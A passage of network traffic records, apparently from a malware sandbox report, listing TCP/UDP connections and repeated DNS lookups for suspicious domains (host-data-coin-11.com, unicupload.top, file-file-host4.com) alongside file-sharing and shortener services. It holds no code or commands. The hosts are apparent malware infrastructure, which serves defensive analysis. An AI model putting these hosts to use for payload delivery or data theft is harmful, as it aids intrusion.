Dec 31, 2021 19:13:31.485137939 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.485217094 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.485233068 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.485340118 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.485409975 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.485425949 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.485542059 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.485615015 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.485630989 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.485754967 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.485817909 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.485832930 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.485979080 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.486232042 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.486288071 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.486310005 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.486323118 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.486437082 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.486517906 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.486532927 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.486633062 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.486833096 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.486849070 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.486874104 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.486917019 CET	49863	38133	192.168.2.3	86.107.197.138
Dec 31, 2021 19:13:31.486960888 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.486977100 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.487054110 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.487175941 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.487191916 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.487307072 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.487375975 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.487391949 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.487639904 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.487710953 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.487726927 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.510658979 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.517302036 CET	38133	49863	86.107.197.138	192.168.2.3
Dec 31, 2021 19:13:31.517477989 CET	49863	38133	192.168.2.3	86.107.197.138
Dec 31, 2021 19:13:31.550297976 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.550390959 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.550410986 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.550435066 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.550483942 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.550530910 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.550591946 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.550614119 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.550693989 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.550764084 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.550781012 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.550808907 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.550873995 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.550892115 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.550916910 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.550978899 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.550993919 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.551023006 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.551079035 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.551094055 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.551131010 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.551192045 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.551208019 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.551230907 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.551290035 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.551301003 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.551331997 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.551357031 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.551444054 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.551495075 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.552884102 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.552908897 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.552949905 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.552964926 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.849823952 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:31.850899935 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:31.852284908 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:31.903899908 CET	49863	38133	192.168.2.3	86.107.197.138
Dec 31, 2021 19:13:31.916685104 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:31.931412935 CET	38133	49863	86.107.197.138	192.168.2.3
Dec 31, 2021 19:13:32.021930933 CET	49863	38133	192.168.2.3	86.107.197.138
Dec 31, 2021 19:13:32.624324083 CET	49864	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:32.673119068 CET	80	49864	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:32.673747063 CET	49864	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:32.673908949 CET	49864	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:32.674010038 CET	49864	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:32.722986937 CET	80	49864	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:32.751321077 CET	80	49864	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:32.751431942 CET	49864	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:32.751569033 CET	49864	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:32.800384998 CET	80	49864	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:32.803323984 CET	49865	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:32.852097988 CET	80	49865	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:32.853604078 CET	49865	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:32.853833914 CET	49865	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:32.853884935 CET	49865	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:32.902723074 CET	80	49865	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:32.902769089 CET	80	49865	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:32.928443909 CET	80	49865	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:32.928806067 CET	49865	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:32.929248095 CET	49865	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:32.977958918 CET	80	49865	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:33.363253117 CET	49863	38133	192.168.2.3	86.107.197.138
Dec 31, 2021 19:13:33.441879034 CET	38133	49863	86.107.197.138	192.168.2.3
Dec 31, 2021 19:13:33.548470020 CET	38133	49863	86.107.197.138	192.168.2.3
Dec 31, 2021 19:13:33.600269079 CET	49863	38133	192.168.2.3	86.107.197.138
Dec 31, 2021 19:13:40.749516964 CET	49863	38133	192.168.2.3	86.107.197.138
Dec 31, 2021 19:13:40.779815912 CET	38133	49863	86.107.197.138	192.168.2.3
Dec 31, 2021 19:13:40.779872894 CET	38133	49863	86.107.197.138	192.168.2.3
Dec 31, 2021 19:13:40.779907942 CET	38133	49863	86.107.197.138	192.168.2.3
Dec 31, 2021 19:13:40.779947996 CET	49863	38133	192.168.2.3	86.107.197.138
Dec 31, 2021 19:13:40.835181952 CET	49863	38133	192.168.2.3	86.107.197.138
Dec 31, 2021 19:13:48.962235928 CET	49863	38133	192.168.2.3	86.107.197.138
Dec 31, 2021 19:13:48.989020109 CET	38133	49863	86.107.197.138	192.168.2.3
Dec 31, 2021 19:13:48.991898060 CET	38133	49863	86.107.197.138	192.168.2.3
Dec 31, 2021 19:13:48.992841005 CET	49863	38133	192.168.2.3	86.107.197.138
Dec 31, 2021 19:13:49.052164078 CET	38133	49863	86.107.197.138	192.168.2.3
Dec 31, 2021 19:13:49.101543903 CET	49863	38133	192.168.2.3	86.107.197.138
Dec 31, 2021 19:13:49.159890890 CET	49863	38133	192.168.2.3	86.107.197.138
Dec 31, 2021 19:13:57.347853899 CET	80	49798	54.38.220.85	192.168.2.3
Dec 31, 2021 19:13:57.349188089 CET	49798	80	192.168.2.3	54.38.220.85
Dec 31, 2021 19:13:57.353135109 CET	49798	80	192.168.2.3	54.38.220.85
Dec 31, 2021 19:13:57.370810986 CET	80	49798	54.38.220.85	192.168.2.3

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 31, 2021 19:12:37.726568937 CET	51143	53	192.168.2.3	8.8.8.8
Dec 31, 2021 19:12:38.047254086 CET	53	51143	8.8.8.8	192.168.2.3
Dec 31, 2021 19:12:38.233635902 CET	56009	53	192.168.2.3	8.8.8.8
Dec 31, 2021 19:12:38.251805067 CET	53	56009	8.8.8.8	192.168.2.3
Dec 31, 2021 19:12:38.419104099 CET	59026	53	192.168.2.3	8.8.8.8
Dec 31, 2021 19:12:38.704139948 CET	53	59026	8.8.8.8	192.168.2.3
Dec 31, 2021 19:12:38.837877035 CET	49572	53	192.168.2.3	8.8.8.8
Dec 31, 2021 19:12:39.125112057 CET	53	49572	8.8.8.8	192.168.2.3
Dec 31, 2021 19:12:39.261457920 CET	60823	53	192.168.2.3	8.8.8.8
Dec 31, 2021 19:12:39.278506041 CET	53	60823	8.8.8.8	192.168.2.3
Dec 31, 2021 19:12:39.432739019 CET	52130	53	192.168.2.3	8.8.8.8
Dec 31, 2021 19:12:39.453289986 CET	53	52130	8.8.8.8	192.168.2.3
Dec 31, 2021 19:12:39.589754105 CET	55102	53	192.168.2.3	8.8.8.8
Dec 31, 2021 19:12:39.876538038 CET	53	55102	8.8.8.8	192.168.2.3
Dec 31, 2021 19:12:41.239058018 CET	56236	53	192.168.2.3	8.8.8.8
Dec 31, 2021 19:12:41.257894993 CET	53	56236	8.8.8.8	192.168.2.3
Dec 31, 2021 19:12:41.419162035 CET	56527	53	192.168.2.3	8.8.8.8
Dec 31, 2021 19:12:41.435309887 CET	53	56527	8.8.8.8	192.168.2.3
Dec 31, 2021 19:12:41.569575071 CET	49559	53	192.168.2.3	8.8.8.8
Dec 31, 2021 19:12:41.856812954 CET	53	49559	8.8.8.8	192.168.2.3
Dec 31, 2021 19:12:41.983566999 CET	52650	53	192.168.2.3	8.8.8.8
Dec 31, 2021 19:12:42.003417969 CET	53	52650	8.8.8.8	192.168.2.3
Dec 31, 2021 19:12:42.139801025 CET	63297	53	192.168.2.3	8.8.8.8
Dec 31, 2021 19:12:42.156640053 CET	53	63297	8.8.8.8	192.168.2.3
Dec 31, 2021 19:12:49.777347088 CET	51539	53	192.168.2.3	8.8.8.8
Dec 31, 2021 19:12:49.796500921 CET	53	51539	8.8.8.8	192.168.2.3
Dec 31, 2021 19:12:49.931914091 CET	55393	53	192.168.2.3	8.8.8.8
Dec 31, 2021 19:12:50.220361948 CET	53	55393	8.8.8.8	192.168.2.3
Dec 31, 2021 19:12:51.889570951 CET	50585	53	192.168.2.3	8.8.8.8
Dec 31, 2021 19:12:51.911012888 CET	53	50585	8.8.8.8	192.168.2.3
Dec 31, 2021 19:12:52.050661087 CET	63456	53	192.168.2.3	8.8.8.8
Dec 31, 2021 19:12:52.069231033 CET	53	63456	8.8.8.8	192.168.2.3
Dec 31, 2021 19:12:52.204952955 CET	58540	53	192.168.2.3	8.8.8.8
Dec 31, 2021 19:12:52.309473991 CET	53	58540	8.8.8.8	192.168.2.3
Dec 31, 2021 19:12:52.364372015 CET	55108	53	192.168.2.3	8.8.8.8
Dec 31, 2021 19:12:52.383385897 CET	53	55108	8.8.8.8	192.168.2.3
Dec 31, 2021 19:12:52.519663095 CET	58942	53	192.168.2.3	8.8.8.8
Dec 31, 2021 19:12:52.537987947 CET	53	58942	8.8.8.8	192.168.2.3
Dec 31, 2021 19:12:52.673928976 CET	64432	53	192.168.2.3	8.8.8.8
Dec 31, 2021 19:12:52.690954924 CET	53	64432	8.8.8.8	192.168.2.3
Dec 31, 2021 19:12:52.828407049 CET	49250	53	192.168.2.3	8.8.8.8
Dec 31, 2021 19:12:52.847181082 CET	53	49250	8.8.8.8	192.168.2.3
Dec 31, 2021 19:12:53.026145935 CET	63490	53	192.168.2.3	8.8.8.8
Dec 31, 2021 19:12:53.043366909 CET	53	63490	8.8.8.8	192.168.2.3
Dec 31, 2021 19:12:55.433311939 CET	61120	53	192.168.2.3	8.8.8.8
Dec 31, 2021 19:12:55.452089071 CET	53	61120	8.8.8.8	192.168.2.3
Dec 31, 2021 19:12:55.633544922 CET	53079	53	192.168.2.3	8.8.8.8
Dec 31, 2021 19:12:55.652631044 CET	53	53079	8.8.8.8	192.168.2.3
Dec 31, 2021 19:12:55.787050009 CET	50824	53	192.168.2.3	8.8.8.8
Dec 31, 2021 19:12:55.805742025 CET	53	50824	8.8.8.8	192.168.2.3
Dec 31, 2021 19:12:55.947225094 CET	56706	53	192.168.2.3	8.8.8.8
Dec 31, 2021 19:12:55.965945959 CET	53	56706	8.8.8.8	192.168.2.3
Dec 31, 2021 19:12:57.863571882 CET	53569	53	192.168.2.3	8.8.8.8
Dec 31, 2021 19:12:57.882669926 CET	53	53569	8.8.8.8	192.168.2.3
Dec 31, 2021 19:12:58.115475893 CET	51046	53	192.168.2.3	8.8.8.8
Dec 31, 2021 19:12:58.135130882 CET	53	51046	8.8.8.8	192.168.2.3
Dec 31, 2021 19:12:58.311161041 CET	65501	53	192.168.2.3	8.8.8.8
Dec 31, 2021 19:12:58.332047939 CET	53	65501	8.8.8.8	192.168.2.3
Dec 31, 2021 19:12:58.467180967 CET	53465	53	192.168.2.3	8.8.8.8
Dec 31, 2021 19:12:58.485996962 CET	53	53465	8.8.8.8	192.168.2.3
Dec 31, 2021 19:12:58.633882046 CET	49290	53	192.168.2.3	8.8.8.8
Dec 31, 2021 19:12:58.652795076 CET	53	49290	8.8.8.8	192.168.2.3
Dec 31, 2021 19:13:00.400794029 CET	59754	53	192.168.2.3	8.8.8.8
Dec 31, 2021 19:13:00.417566061 CET	53	59754	8.8.8.8	192.168.2.3
Dec 31, 2021 19:13:00.547895908 CET	49234	53	192.168.2.3	8.8.8.8
Dec 31, 2021 19:13:00.566513062 CET	53	49234	8.8.8.8	192.168.2.3
Dec 31, 2021 19:13:00.703007936 CET	58720	53	192.168.2.3	8.8.8.8
Dec 31, 2021 19:13:00.721328974 CET	53	58720	8.8.8.8	192.168.2.3
Dec 31, 2021 19:13:21.936928034 CET	64099	53	192.168.2.3	8.8.8.8
Dec 31, 2021 19:13:22.223485947 CET	53	64099	8.8.8.8	192.168.2.3
Dec 31, 2021 19:13:22.361114025 CET	64610	53	192.168.2.3	8.8.8.8
Dec 31, 2021 19:13:22.377876997 CET	53	64610	8.8.8.8	192.168.2.3
Dec 31, 2021 19:13:25.198399067 CET	51989	53	192.168.2.3	8.8.8.8
Dec 31, 2021 19:13:25.217138052 CET	53	51989	8.8.8.8	192.168.2.3
Dec 31, 2021 19:13:25.370016098 CET	61590	53	192.168.2.3	8.8.8.8
Dec 31, 2021 19:13:25.390351057 CET	53	61590	8.8.8.8	192.168.2.3
Dec 31, 2021 19:13:25.530718088 CET	56077	53	192.168.2.3	8.8.8.8
Dec 31, 2021 19:13:25.548023939 CET	53	56077	8.8.8.8	192.168.2.3
Dec 31, 2021 19:13:25.695050955 CET	53276	53	192.168.2.3	8.8.8.8
Dec 31, 2021 19:13:25.712812901 CET	53	53276	8.8.8.8	192.168.2.3
Dec 31, 2021 19:13:25.849992037 CET	60135	53	192.168.2.3	8.8.8.8
Dec 31, 2021 19:13:25.867194891 CET	53	60135	8.8.8.8	192.168.2.3
Dec 31, 2021 19:13:26.014385939 CET	49849	53	192.168.2.3	8.8.8.8
Dec 31, 2021 19:13:26.031680107 CET	53	49849	8.8.8.8	192.168.2.3
Dec 31, 2021 19:13:28.595324993 CET	58706	53	192.168.2.3	8.8.8.8
Dec 31, 2021 19:13:28.613836050 CET	53	58706	8.8.8.8	192.168.2.3
Dec 31, 2021 19:13:28.815145016 CET	62677	53	192.168.2.3	8.8.8.8
Dec 31, 2021 19:13:28.831320047 CET	53	62677	8.8.8.8	192.168.2.3
Dec 31, 2021 19:13:28.961823940 CET	62595	53	192.168.2.3	8.8.8.8
Dec 31, 2021 19:13:28.982321024 CET	53	62595	8.8.8.8	192.168.2.3
Dec 31, 2021 19:13:29.121274948 CET	51189	53	192.168.2.3	8.8.8.8
Dec 31, 2021 19:13:29.139548063 CET	53	51189	8.8.8.8	192.168.2.3
Dec 31, 2021 19:13:29.287065029 CET	49967	53	192.168.2.3	8.8.8.8
Dec 31, 2021 19:13:29.305372953 CET	53	49967	8.8.8.8	192.168.2.3
Dec 31, 2021 19:13:29.458741903 CET	51454	53	192.168.2.3	8.8.8.8
Dec 31, 2021 19:13:29.479072094 CET	53	51454	8.8.8.8	192.168.2.3
Dec 31, 2021 19:13:29.671686888 CET	57163	53	192.168.2.3	8.8.8.8
Dec 31, 2021 19:13:29.687712908 CET	53	57163	8.8.8.8	192.168.2.3
Dec 31, 2021 19:13:29.878813028 CET	56360	53	192.168.2.3	8.8.8.8
Dec 31, 2021 19:13:29.895714045 CET	53	56360	8.8.8.8	192.168.2.3
Dec 31, 2021 19:13:30.041513920 CET	49258	53	192.168.2.3	8.8.8.8
Dec 31, 2021 19:13:30.058479071 CET	53	49258	8.8.8.8	192.168.2.3
Dec 31, 2021 19:13:30.788717031 CET	56195	53	192.168.2.3	8.8.8.8
Dec 31, 2021 19:13:30.807003975 CET	53	56195	8.8.8.8	192.168.2.3
Dec 31, 2021 19:13:30.952126026 CET	53021	53	192.168.2.3	8.8.8.8
Dec 31, 2021 19:13:30.977056980 CET	53	53021	8.8.8.8	192.168.2.3
Dec 31, 2021 19:13:31.189399958 CET	52618	53	192.168.2.3	8.8.8.8
Dec 31, 2021 19:13:31.207915068 CET	53	52618	8.8.8.8	192.168.2.3
Dec 31, 2021 19:13:32.598071098 CET	51633	53	192.168.2.3	8.8.8.8
Dec 31, 2021 19:13:32.616744041 CET	53	51633	8.8.8.8	192.168.2.3
Dec 31, 2021 19:13:32.784285069 CET	64383	53	192.168.2.3	8.8.8.8
Dec 31, 2021 19:13:32.802588940 CET	53	64383	8.8.8.8	192.168.2.3
Dec 31, 2021 19:14:06.171158075 CET	56328	53	192.168.2.3	8.8.8.8
Dec 31, 2021 19:14:06.189516068 CET	53	56328	8.8.8.8	192.168.2.3

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Dec 31, 2021 19:12:37.726568937 CET	192.168.2.3	8.8.8.8	0x431f	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 31, 2021 19:12:38.233635902 CET	192.168.2.3	8.8.8.8	0x869	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 31, 2021 19:12:38.419104099 CET	192.168.2.3	8.8.8.8	0xabc	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 31, 2021 19:12:38.837877035 CET	192.168.2.3	8.8.8.8	0x23b0	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 31, 2021 19:12:39.261457920 CET	192.168.2.3	8.8.8.8	0x9157	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 31, 2021 19:12:39.432739019 CET	192.168.2.3	8.8.8.8	0x622b	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 31, 2021 19:12:39.589754105 CET	192.168.2.3	8.8.8.8	0x2185	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 31, 2021 19:12:41.239058018 CET	192.168.2.3	8.8.8.8	0xcf2c	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 31, 2021 19:12:41.419162035 CET	192.168.2.3	8.8.8.8	0x1e7b	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 31, 2021 19:12:41.569575071 CET	192.168.2.3	8.8.8.8	0xf13a	Standard query (0)	data-host-coin-8.com	A (IP address)	IN (0x0001)
Dec 31, 2021 19:12:41.983566999 CET	192.168.2.3	8.8.8.8	0x453d	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 31, 2021 19:12:42.139801025 CET	192.168.2.3	8.8.8.8	0x9bd	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 31, 2021 19:12:49.777347088 CET	192.168.2.3	8.8.8.8	0xf7b4	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 31, 2021 19:12:49.931914091 CET	192.168.2.3	8.8.8.8	0x4ba4	Standard query (0)	privacytools-foryou-777.com	A (IP address)	IN (0x0001)
Dec 31, 2021 19:12:51.889570951 CET	192.168.2.3	8.8.8.8	0x23aa	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 31, 2021 19:12:52.050661087 CET	192.168.2.3	8.8.8.8	0x92b6	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 31, 2021 19:12:52.204952955 CET	192.168.2.3	8.8.8.8	0x63a5	Standard query (0)	unicupload.top	A (IP address)	IN (0x0001)
Dec 31, 2021 19:12:52.364372015 CET	192.168.2.3	8.8.8.8	0xc935	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 31, 2021 19:12:52.519663095 CET	192.168.2.3	8.8.8.8	0x49b6	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 31, 2021 19:12:52.673928976 CET	192.168.2.3	8.8.8.8	0xbeff	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 31, 2021 19:12:52.828407049 CET	192.168.2.3	8.8.8.8	0x57be	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 31, 2021 19:12:53.026145935 CET	192.168.2.3	8.8.8.8	0xe220	Standard query (0)	data-host-coin-8.com	A (IP address)	IN (0x0001)
Dec 31, 2021 19:12:55.433311939 CET	192.168.2.3	8.8.8.8	0xef79	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 31, 2021 19:12:55.633544922 CET	192.168.2.3	8.8.8.8	0x32f8	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 31, 2021 19:12:55.787050009 CET	192.168.2.3	8.8.8.8	0x946	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 31, 2021 19:12:55.947225094 CET	192.168.2.3	8.8.8.8	0x5047	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 31, 2021 19:12:57.863571882 CET	192.168.2.3	8.8.8.8	0xb257	Standard query (0)	file-file-host4.com	A (IP address)	IN (0x0001)
Dec 31, 2021 19:12:58.115475893 CET	192.168.2.3	8.8.8.8	0xc39a	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 31, 2021 19:12:58.311161041 CET	192.168.2.3	8.8.8.8	0x88f2	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 31, 2021 19:12:58.467180967 CET	192.168.2.3	8.8.8.8	0x91b9	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 31, 2021 19:12:58.633882046 CET	192.168.2.3	8.8.8.8	0xbfae	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Dec 31, 2021 19:13:00.400794029 CET	192.168.2.3	8.8.8.8	0x5e28	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 31, 2021 19:13:00.547895908 CET	192.168.2.3	8.8.8.8	0x7fc7	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 31, 2021 19:13:00.703007936 CET	192.168.2.3	8.8.8.8	0x4faa	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 31, 2021 19:13:21.936928034 CET	192.168.2.3	8.8.8.8	0xf2fc	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 31, 2021 19:13:22.361114025 CET	192.168.2.3	8.8.8.8	0xc459	Standard query (0)	data-host-coin-8.com	A (IP address)	IN (0x0001)
Dec 31, 2021 19:13:25.198399067 CET	192.168.2.3	8.8.8.8	0x1ebd	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 31, 2021 19:13:25.370016098 CET	192.168.2.3	8.8.8.8	0xce2e	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 31, 2021 19:13:25.530718088 CET	192.168.2.3	8.8.8.8	0xc5eb	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 31, 2021 19:13:25.695050955 CET	192.168.2.3	8.8.8.8	0x844e	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 31, 2021 19:13:25.849992037 CET	192.168.2.3	8.8.8.8	0x2320	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 31, 2021 19:13:26.014385939 CET	192.168.2.3	8.8.8.8	0x9175	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 31, 2021 19:13:28.595324993 CET	192.168.2.3	8.8.8.8	0x265e	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 31, 2021 19:13:28.815145016 CET	192.168.2.3	8.8.8.8	0xec42	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 31, 2021 19:13:28.961823940 CET	192.168.2.3	8.8.8.8	0x20f7	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 31, 2021 19:13:29.121274948 CET	192.168.2.3	8.8.8.8	0x1540	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 31, 2021 19:13:29.287065029 CET	192.168.2.3	8.8.8.8	0x5ce4	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 31, 2021 19:13:29.458741903 CET	192.168.2.3	8.8.8.8	0xc9dc	Standard query (0)	bit.ly	A (IP address)	IN (0x0001)
Dec 31, 2021 19:13:29.671686888 CET	192.168.2.3	8.8.8.8	0x88c7	Standard query (0)	bitly.com	A (IP address)	IN (0x0001)
Dec 31, 2021 19:13:29.878813028 CET	192.168.2.3	8.8.8.8	0x557b	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 31, 2021 19:13:30.041513920 CET	192.168.2.3	8.8.8.8	0xa8ea	Standard query (0)	transfer.sh	A (IP address)	IN (0x0001)
Dec 31, 2021 19:13:30.788717031 CET	192.168.2.3	8.8.8.8	0xc627	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 31, 2021 19:13:30.952126026 CET	192.168.2.3	8.8.8.8	0x2a2f	Standard query (0)	short.link	A (IP address)	IN (0x0001)
Dec 31, 2021 19:13:31.189399958 CET	192.168.2.3	8.8.8.8	0x9e5c	Standard query (0)	dodecoin.org	A (IP address)	IN (0x0001)
Dec 31, 2021 19:13:32.598071098 CET	192.168.2.3	8.8.8.8	0x39d8	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 31, 2021 19:13:32.784285069 CET	192.168.2.3	8.8.8.8	0x96fb	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 31, 2021 19:14:06.171158075 CET	192.168.2.3	8.8.8.8	0xdb86	Standard query (0)	t.me	A (IP address)	IN (0x0001)

